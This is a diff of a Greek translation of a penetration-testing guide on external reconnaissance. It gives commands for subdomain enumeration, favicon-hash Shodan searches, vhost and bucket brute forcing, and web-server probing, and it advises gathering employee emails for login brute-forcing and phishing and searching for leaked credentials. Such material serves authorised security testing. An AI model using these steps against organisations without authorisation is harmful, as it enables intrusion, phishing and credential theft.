χρησιμοποιήσετε διαδικτυακά εργαλεία όπως: - [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Δωρεάν** - [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Δωρεάν** @@ -96,11 +96,11 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns Μπορείτε να αυτοματοποιήσετε αυτή την εργασία χρησιμοποιώντας [**DomLink** ](https://github.com/vysecurity/DomLink)(απαιτεί κλειδί API whoxy).\ Μπορείτε επίσης να εκτελέσετε κάποια αυτόματη ανακάλυψη αντίστροφου whois με [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` -**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτή την τεχνική για να ανακαλύψετε περισσότερα ονόματα τομέα κάθε φορά που βρίσκετε ένα νέο τομέα.** +**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτή την τεχνική για να ανακαλύψετε περισσότερα ονόματα τομέων κάθε φορά που βρίσκετε ένα νέο τομέα.** ### **Trackers** -Αν βρείτε το **ίδιο ID του ίδιου tracker** σε 2 διαφορετικές σελίδες μπορείτε να υποθέσετε ότι **και οι δύο σελίδες** διαχειρίζονται από την **ίδια ομάδα**.\ +Αν βρείτε το **ίδιο ID του ίδιου tracker** σε 2 διαφορετικές σελίδες μπορείτε να υποθέσετε ότι **και οι δύο σελίδες** διαχειρίζονται από την ίδια ομάδα.\ Για παράδειγμα, αν δείτε το ίδιο **Google Analytics ID** ή το ίδιο **Adsense ID** σε πολλές σελίδες. Υπάρχουν κάποιες σελίδες και εργαλεία που σας επιτρέπουν να αναζητήσετε με αυτούς τους trackers και περισσότερα: @@ -113,20 +113,20 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ### **Favicon** -Γνωρίζατε ότι μπορούμε να βρούμε σχετικούς τομείς και υποτομείς στον στόχο μας αναζητώντας το ίδιο hash εικονιδίου favicon; Αυτό ακριβώς κάνει το εργαλείο [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) που δημιούργησε ο [@m4ll0k2](https://twitter.com/m4ll0k2). Να πώς να το χρησιμοποιήσετε: +Γνωρίζατε ότι μπορούμε να βρούμε σχετικούς τομείς και υποτομείς στον στόχο μας αναζητώντας το ίδιο hash εικονιδίου favicon; Αυτό ακριβώς κάνει το εργαλείο [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) που έχει δημιουργήσει ο [@m4ll0k2](https://twitter.com/m4ll0k2). Ορίστε πώς να το χρησιμοποιήσετε: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` -![favihash - ανακάλυψη τομέων με το ίδιο hash εικονιδίου favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) +![favihash - ανακαλύψτε τομείς με το ίδιο hash εικονιδίου favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) Απλά, το favihash θα μας επιτρέψει να ανακαλύψουμε τομείς που έχουν το ίδιο hash εικονιδίου favicon με τον στόχο μας. -Επιπλέον, μπορείτε επίσης να αναζητήσετε τεχνολογίες χρησιμοποιώντας το hash του favicon όπως εξηγείται σε [**αυτή την ανάρτηση blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Αυτό σημαίνει ότι αν γνωρίζετε το **hash του favicon μιας ευάλωτης έκδοσης μιας διαδικτυακής τεχνολογίας** μπορείτε να αναζητήσετε αν στο shodan και **να βρείτε περισσότερες ευάλωτες τοποθεσίες**: +Επιπλέον, μπορείτε επίσης να αναζητήσετε τεχνολογίες χρησιμοποιώντας το hash του favicon όπως εξηγείται σε [**αυτή την ανάρτηση στο blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Αυτό σημαίνει ότι αν γνωρίζετε το **hash του favicon μιας ευάλωτης έκδοσης μιας διαδικτυακής τεχνολογίας** μπορείτε να αναζητήσετε αν στο shodan και **να βρείτε περισσότερες ευάλωτες τοποθεσίες**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` -Αυτός είναι ο τρόπος με τον οποίο μπορείτε να **υπολογίσετε το hash του favicon** ενός ιστότοπου: +Αυτός είναι ο τρόπος που μπορείτε να **υπολογίσετε το hash του favicon** ενός ιστότοπου: ```python import mmh3 import requests @@ -141,11 +141,11 @@ return fhash ``` ### **Copyright / Uniq string** -Αναζητήστε μέσα στις ιστοσελίδες **αλφαριθμητικούς χαρακτήρες που θα μπορούσαν να μοιραστούν σε διάφορες ιστοσελίδες της ίδιας οργάνωσης**. Η **αλφαριθμητική δήλωση πνευματικών δικαιωμάτων** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια, αναζητήστε αυτή τη δήλωση σε **google**, σε άλλους **προγράμματα περιήγησης** ή ακόμη και σε **shodan**: `shodan search http.html:"Copyright string"` +Αναζητήστε μέσα στις ιστοσελίδες **αλφαριθμητικούς χαρακτήρες που θα μπορούσαν να μοιραστούν σε διάφορες ιστοσελίδες της ίδιας οργάνωσης**. Η **αλφαριθμητική δήλωση πνευματικών δικαιωμάτων** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια, αναζητήστε αυτή τη δήλωση σε **google**, σε άλλους **προγράμματα περιήγησης** ή ακόμα και σε **shodan**: `shodan search http.html:"Copyright string"` ### **CRT Time** -Είναι κοινό να υπάρχει μια εργασία cron όπως +Είναι συνηθισμένο να υπάρχει μια εργασία cron όπως ```bash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" @@ -159,7 +159,7 @@ return fhash ### **Passive Takeover** -Φαίνεται ότι είναι κοινό για τους ανθρώπους να αναθέτουν υποτομείς σε IP που ανήκουν σε παρόχους cloud και σε κάποιο σημείο **να χάσουν αυτήν την διεύθυνση IP αλλά να ξεχάσουν να αφαιρέσουν την εγγραφή DNS**. Επομένως, απλά **δημιουργώντας μια VM** σε ένα cloud (όπως το Digital Ocean) θα **αναλαμβάνετε στην πραγματικότητα κάποιους υποτομείς**. +Φαίνεται ότι είναι κοινό για τους ανθρώπους να αναθέτουν υποτομείς σε IP που ανήκουν σε παρόχους cloud και σε κάποιο σημείο **να χάσουν αυτήν την IP διεύθυνση αλλά να ξεχάσουν να αφαιρέσουν την εγγραφή DNS**. Επομένως, απλά **δημιουργώντας μια VM** σε ένα cloud (όπως το Digital Ocean) θα **αναλαμβάνετε στην πραγματικότητα κάποιους υποτομείς**. [**Αυτή η ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία γι' αυτό και προτείνει ένα σενάριο που **δημιουργεί μια VM στο DigitalOcean**, **παίρνει** την **IPv4** της νέας μηχανής και **αναζητά σε Virustotal για εγγραφές υποτομέων** που δείχνουν σε αυτήν. @@ -175,11 +175,11 @@ return fhash **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder) είναι ένα εργαλείο που αναζητά **σχετικούς τομείς** με έναν κύριο τομέα και **υποτομείς** αυτών, αρκετά εκπληκτικό. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder) είναι ένα εργαλείο που αναζητά **τομείς σχετικούς** με έναν κύριο τομέα και **υποτομείς** αυτών, αρκετά εκπληκτικό. ### **Αναζητώντας ευπάθειες** -Ελέγξτε για κάποια [ανάληψη τομέα](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Ίσως κάποια εταιρεία να **χρησιμοποιεί κάποιον τομέα** αλλά να **έχει χάσει την ιδιοκτησία**. Απλά καταχωρίστε τον (αν είναι αρκετά φθηνός) και ενημερώστε την εταιρεία. +Ελέγξτε για κάποια [ανάληψη τομέα](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Ίσως κάποια εταιρεία **χρησιμοποιεί κάποιον τομέα** αλλά **έχασε την ιδιοκτησία**. Απλά καταχωρίστε τον (αν είναι αρκετά φθηνός) και ενημερώστε την εταιρεία. Αν βρείτε οποιονδήποτε **τομέα με μια IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας Nessus ή OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\ _Σημειώστε ότι μερικές φορές ο τομέας φιλοξενείται μέσα σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο εφαρμογής, να είστε προσεκτικοί._ @@ -195,13 +195,13 @@ _Σημειώστε ότι μερικές φορές ο τομέας φιλοξ ### **DNS** -Ας προσπαθήσουμε να αποκτήσουμε **υποτομείς** από τις **εγγραφές DNS**. Πρέπει επίσης να προσπαθήσουμε για **Zone Transfer** (Αν είναι ευάλωτο, θα πρέπει να το αναφέρετε). +Ας προσπαθήσουμε να αποκτήσουμε **υποτομείς** από τις **εγγραφές DNS**. Πρέπει επίσης να προσπαθήσουμε για **Μεταφορά Ζώνης** (Αν είναι ευάλωτη, θα πρέπει να την αναφέρετε). ```bash dnsrecon -a -d tesla.com ``` ### **OSINT** -Ο ταχύτερος τρόπος για να αποκτήσετε πολλούς υποτομείς είναι η αναζήτηση σε εξωτερικές πηγές. Τα πιο χρησιμοποιούμενα **εργαλεία** είναι τα εξής (για καλύτερα αποτελέσματα ρυθμίστε τα API keys): +Ο ταχύτερος τρόπος για να αποκτήσετε πολλούς υποτομείς είναι η αναζήτηση σε εξωτερικές πηγές. Τα πιο χρησιμοποιούμενα **εργαλεία** είναι τα εξής (για καλύτερα αποτελέσματα ρυθμίστε τα κλειδιά API): - [**BBOT**](https://github.com/blacklanternsecurity/bbot) ```bash @@ -250,7 +250,7 @@ vita -d tesla.com ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` -Υπάρχουν **άλλα ενδιαφέροντα εργαλεία/APIs** που, ακόμη και αν δεν είναι άμεσα εξειδικευμένα στην εύρεση υποτομέων, θα μπορούσαν να είναι χρήσιμα για την εύρεση υποτομέων, όπως: +Υπάρχουν **άλλα ενδιαφέροντα εργαλεία/APIs** που, ακόμα και αν δεν είναι άμεσα εξειδικευμένα στην εύρεση υποτομέων, θα μπορούσαν να είναι χρήσιμα για την εύρεση υποτομέων, όπως: - [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Χρησιμοποιεί το API [https://sonar.omnisint.io](https://sonar.omnisint.io) για να αποκτήσει υποτομείς ```bash @@ -312,7 +312,7 @@ python3 censys-subdomain-finder.py tesla.com ```bash python3 DomainTrail.py -d example.com ``` -- [**securitytrails.com**](https://securitytrails.com/) έχει δωρεάν API για αναζήτηση υποτομέων και ιστορικό IP +- [**securitytrails.com**](https://securitytrails.com/) έχει μια δωρεάν API για αναζήτηση υποτομέων και ιστορικό IP - [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) Αυτό το έργο προσφέρει **δωρεάν όλους τους υποτομείς που σχετίζονται με προγράμματα bug-bounty**. Μπορείτε να αποκτήσετε πρόσβαση σε αυτά τα δεδομένα χρησιμοποιώντας επίσης [chaospy](https://github.com/dr-0x0x/chaospy) ή ακόμα και να αποκτήσετε πρόσβαση στο πεδίο που χρησιμοποιείται από αυτό το έργο [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) @@ -353,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` puredns bruteforce all.txt domain.com ``` -- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) χρησιμοποιεί το asyncio για να κάνει brute force σε ονόματα τομέα ασύγχρονα. +- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) χρησιμοποιεί το asyncio για να επιτεθεί σε ονόματα τομέα ασύγχρονα. ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` @@ -374,20 +374,20 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3 ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` -- [**altdns**](https://github.com/infosec-au/altdns): Εκτός από την παραγωγή παραλλαγών υποτομέων, μπορεί επίσης να προσπαθήσει να τις επιλύσει (αλλά είναι καλύτερο να χρησιμοποιήσετε τα προηγούμενα εργαλεία που αναφέρθηκαν). +- [**altdns**](https://github.com/infosec-au/altdns): Εκτός από την παραγωγή παραλλαγών υποτομέων, μπορεί επίσης να προσπαθήσει να τις επιλύσει (αλλά είναι καλύτερα να χρησιμοποιήσετε τα προηγούμενα εργαλεία που αναφέρθηκαν). - Μπορείτε να αποκτήσετε τις παραλλαγές altdns **wordlist** [**εδώ**](https://github.com/infosec-au/altdns/blob/master/words.txt). ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` -- [**dmut**](https://github.com/bp0lr/dmut): Ένα άλλο εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα εκτελέσει brute force στο αποτέλεσμα (δεν υποστηρίζει dns wild card). -- Μπορείτε να αποκτήσετε τη λίστα λέξεων παραλλαγών dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). +- [**dmut**](https://github.com/bp0lr/dmut): Ένα ακόμα εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα εκτελέσει brute force στο αποτέλεσμα (δεν υποστηρίζει dns wild card). +- Μπορείτε να αποκτήσετε τη λίστα λέξεων παραλλαγών του dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` - [**alterx**](https://github.com/projectdiscovery/alterx)**:** Βασισμένο σε ένα domain, **δημιουργεί νέα πιθανά ονόματα υποτομέων** με βάση τις υποδεικνυόμενες προτύπες για να προσπαθήσει να ανακαλύψει περισσότερους υποτομείς. -#### Έξυπνη γενιά παραλλαγών +#### Smart permutations generation - [**regulator**](https://github.com/cramppet/regulator): Για περισσότερες πληροφορίες διαβάστε αυτήν την [**ανάρτηση**](https://cramppet.github.io/regulator/index.html) αλλά βασικά θα πάρει τα **κύρια μέρη** από τους **ανακαλυφθέντες υποτομείς** και θα τα αναμίξει για να βρει περισσότερους υποτομείς. ```bash @@ -401,7 +401,7 @@ echo www | subzuf facebook.com ``` ### **Ροή Εργασίας Ανακάλυψης Υποτομέων** -Δείτε αυτή την ανάρτηση στο blog που έγραψα σχετικά με το πώς να **αυτοματοποιήσετε την ανακάλυψη υποτομέων** από έναν τομέα χρησιμοποιώντας **Trickest workflows** ώστε να μην χρειάζεται να εκκινώ χειροκίνητα μια σειρά εργαλείων στον υπολογιστή μου: +Δείτε αυτήν την ανάρτηση στο blog που έγραψα σχετικά με το πώς να **αυτοματοποιήσετε την ανακάλυψη υποτομέων** από έναν τομέα χρησιμοποιώντας **Trickest workflows** ώστε να μην χρειάζεται να εκκινώ χειροκίνητα μια σειρά εργαλείων στον υπολογιστή μου: {{#ref}} https://trickest.com/blog/full-subdomain-discovery-using-workflow/ @@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/ ### **VHosts / Εικονικοί Φιλοξενούμενοι** -Αν βρείτε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτή την IP** κοιτάζοντας σε **πηγές OSINT** για τομείς σε μια IP ή με **brute-forcing ονόματα τομέων VHost σε αυτή την IP**. +Αν βρείτε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτήν την IP** κοιτάζοντας σε **πηγές OSINT** για τομείς σε μια IP ή με **brute-forcing ονόματα τομέων VHost σε αυτήν την IP**. #### OSINT @@ -421,7 +421,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/ **Brute Force** -Αν υποψιάζεστε ότι κάποιος υποτομέας μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον brute force: +Αν υποψιάζεστε ότι κάποιο υποτομέα μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον brute force: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -435,7 +435,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com #https://github.com/codingo/VHostScan VHostScan -t example.com ``` -> [!NOTE] +> [!TIP] > Με αυτή την τεχνική μπορεί να είστε σε θέση να αποκτήσετε πρόσβαση σε εσωτερικά/κρυφά endpoints. ### **CORS Brute Force** @@ -446,12 +446,12 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: ``` ### **Buckets Brute Force** -Ενώ ψάχνετε για **subdomains**, προσέξτε αν **δείχνει** σε οποιοδήποτε τύπο **bucket**, και σε αυτή την περίπτωση [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\ -Επίσης, καθώς σε αυτό το σημείο θα γνωρίζετε όλα τα domains μέσα στο πεδίο, προσπαθήστε να [**brute force πιθανές ονομασίες bucket και ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/index.html). +Κατά την αναζήτηση για **subdomains**, προσέξτε αν **δείχνει** σε οποιοδήποτε τύπο **bucket**, και σε αυτή την περίπτωση [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\ +Επίσης, καθώς σε αυτό το σημείο θα γνωρίζετε όλα τα domains μέσα στο πεδίο, προσπαθήστε να [**brute force πιθανά ονόματα buckets και ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/index.html). ### **Monitorization** -Μπορείτε να **παρακολουθείτε** αν **δημιουργούνται νέα subdomains** ενός domain παρακολουθώντας τα **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py). +Μπορείτε να **παρακολουθείτε** αν **δημιουργούνται νέα subdomains** ενός domain παρακολουθώντας τα **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)το οποίο κάνει. ### **Looking for vulnerabilities** @@ -487,18 +487,18 @@ _Σημειώστε ότι μερικές φορές το subdomain φιλοξε Παρακαλώ σημειώστε ότι αυτό θα είναι **προσανατολισμένο στην ανακάλυψη web apps**, οπότε θα πρέπει να **εκτελέσετε τη σάρωση ευπαθειών** και **σάρωση θυρών** επίσης (**αν επιτρέπεται** από το πεδίο). Μια **γρήγορη μέθοδος** για να ανακαλύψετε **ανοιχτές θύρες** σχετικές με **web** servers χρησιμοποιώντας [**masscan** μπορεί να βρεθεί εδώ](../pentesting-network/index.html#http-port-discovery).\ -Ένα άλλο φιλικό εργαλείο για να αναζητήσετε web servers είναι [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περνάτε μια λίστα domains και θα προσπαθήσει να συνδεθεί σε θύρα 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει άλλες θύρες: +Ένα άλλο φιλικό εργαλείο για να αναζητήσετε web servers είναι [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περάστε μια λίστα domains και θα προσπαθήσει να συνδεθεί σε θύρα 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει άλλες θύρες: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` ### **Στιγμιότυπα** -Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο πεδίο (μεταξύ των **IP** της εταιρείας και όλων των **τομέων** και **υποτομέων**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα όλων τους. Απλά με **μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **παράξενες** διευθύνσεις που είναι πιο **επιρρεπείς** να είναι **ευάλωτες**. +Τώρα που έχετε ανακαλύψει **όλους τους web servers** που υπάρχουν στο πεδίο (μεταξύ των **IPs** της εταιρείας και όλων των **domains** και **subdomains**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας αρχίσουμε απλά να παίρνουμε στιγμιότυπα όλων αυτών. Απλά με το **να ρίξετε μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **παράξενες** διευθύνσεις που είναι πιο **πιθανό** να είναι **ευάλωτες**. Για να εκτελέσετε την προτεινόμενη ιδέα μπορείτε να χρησιμοποιήσετε [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ή [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** -Επιπλέον, μπορείτε να χρησιμοποιήσετε [**eyeballer**](https://github.com/BishopFox/eyeballer) για να ελέγξετε όλα τα **στιγμιότυπα** και να σας πει **τι πιθανόν να περιέχει ευπάθειες**, και τι όχι. +Επιπλέον, μπορείτε να χρησιμοποιήσετε [**eyeballer**](https://github.com/BishopFox/eyeballer) για να ελέγξετε όλα τα **στιγμιότυπα** και να σας πει **τι είναι πιθανό να περιέχει ευπάθειες**, και τι όχι. ## Δημόσια Περιουσιακά Στοιχεία Cloud @@ -522,7 +522,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ## Emails -Με τους **τομείς** και **υποτομείς** μέσα στο πεδίο έχετε βασικά όλα όσα **χρειάζεστε για να ξεκινήσετε την αναζήτηση για emails**. Αυτές είναι οι **APIs** και **εργαλεία** που έχουν λειτουργήσει καλύτερα για μένα για να βρω emails μιας εταιρείας: +Με τα **domains** και **subdomains** μέσα στο πεδίο έχετε βασικά όλα όσα **χρειάζεστε για να αρχίσετε να ψάχνετε για emails**. Αυτές είναι οι **APIs** και **εργαλεία** που έχουν λειτουργήσει καλύτερα για μένα για να βρω emails μιας εταιρείας: - [**theHarvester**](https://github.com/laramies/theHarvester) - με APIs - API του [**https://hunter.io/**](https://hunter.io/) (δωρεάν έκδοση) @@ -531,11 +531,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### **Αναζητώντας ευπάθειες** -Τα emails θα είναι χρήσιμα αργότερα για **brute-force web logins και auth services** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την εκστρατεία phishing. +Τα emails θα σας φανούν χρήσιμα αργότερα για **brute-force web logins και auth services** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την εκστρατεία phishing. ## Διαρροές Διαπιστευτηρίων -Με τους **τομείς,** **υποτομείς**, και **emails** μπορείτε να αρχίσετε να ψάχνετε για διαπιστευτήρια που έχουν διαρρεύσει στο παρελθόν που ανήκουν σε αυτά τα emails: +Με τα **domains,** **subdomains**, και **emails** μπορείτε να αρχίσετε να ψάχνετε για διαπιστευτήρια που έχουν διαρρεύσει στο παρελθόν που ανήκουν σε αυτά τα emails: - [https://leak-lookup.com](https://leak-lookup.com/account/login) - [https://www.dehashed.com/](https://www.dehashed.com/) @@ -553,11 +553,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a Διαπιστευτήρια και APIs μπορεί να έχουν διαρρεύσει στις **δημόσιες αποθήκες** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\ Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλες τις **δημόσιες αποθήκες** μιας **οργάνωσης** και των **προγραμματιστών** της και να εκτελέσετε [**gitleaks**](https://github.com/zricethezav/gitleaks) πάνω τους αυτόματα. -**Leakos** μπορεί επίσης να χρησιμοποιηθεί για να εκτελέσει **gitleaks** κατά όλων των **κειμένων** που παρέχονται **URLs που του έχουν περαστεί** καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**. +**Leakos** μπορεί επίσης να χρησιμοποιηθεί για να εκτελέσει **gitleaks** σε όλο το **κείμενο** που παρέχεται **URLs που του έχουν περαστεί** καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**. #### Github Dorks -Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανούς **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε: +Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανά **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε: {{#ref}} github-leaked-secrets.md @@ -565,12 +565,12 @@ github-leaked-secrets.md ### Διαρροές Pastes -Μερικές φορές οι επιτιθέμενοι ή απλώς οι εργαζόμενοι θα **δημοσιεύσουν περιεχόμενο της εταιρείας σε μια ιστοσελίδα paste**. Αυτό μπορεί να περιέχει ή να μην περιέχει **ευαίσθητες πληροφορίες**, αλλά είναι πολύ ενδιαφέρον να το αναζητήσετε.\ -Μπορείτε να χρησιμοποιήσετε το εργαλείο [**Pastos**](https://github.com/carlospolop/Pastos) για να αναζητήσετε σε περισσότερες από 80 ιστοσελίδες paste ταυτόχρονα. +Μερικές φορές οι επιτιθέμενοι ή απλά οι εργαζόμενοι θα **δημοσιεύσουν περιεχόμενο της εταιρείας σε μια σελίδα paste**. Αυτό μπορεί να περιέχει ή να μην περιέχει **ευαίσθητες πληροφορίες**, αλλά είναι πολύ ενδιαφέρον να το ψάξετε.\ +Μπορείτε να χρησιμοποιήσετε το εργαλείο [**Pastos**](https://github.com/carlospolop/Pastos) για να ψάξετε σε περισσότερες από 80 σελίδες paste ταυτόχρονα. ### Google Dorks -Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις 10 αγαπημένες σας ή να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τις εκτελέσετε όλες**. +Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις 10 αγαπημένες σας ή μπορείτε να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τις εκτελέσετε όλες**. _Σημειώστε ότι τα εργαλεία που αναμένουν να εκτελέσουν όλη τη βάση δεδομένων χρησιμοποιώντας τον κανονικό περιηγητή Google δεν θα τελειώσουν ποτέ καθώς η Google θα σας μπλοκάρει πολύ πολύ σύντομα._ @@ -580,7 +580,7 @@ _Σημειώστε ότι τα εργαλεία που αναμένουν να ## Δημόσιες Ευπάθειες Κώδικα -Αν διαπιστώσετε ότι η εταιρεία έχει **ανοιχτό κώδικα** μπορείτε να **αναλύσετε** αυτόν και να αναζητήσετε **ευπάθειες** σε αυτόν. +Αν διαπιστώσετε ότι η εταιρεία έχει **ανοιχτό κώδικα** μπορείτε να **αναλύσετε** τον και να αναζητήσετε **ευπάθειες** σε αυτόν. **Ανάλογα με τη γλώσσα** υπάρχουν διάφορα **εργαλεία** που μπορείτε να χρησιμοποιήσετε: @@ -594,9 +594,9 @@ 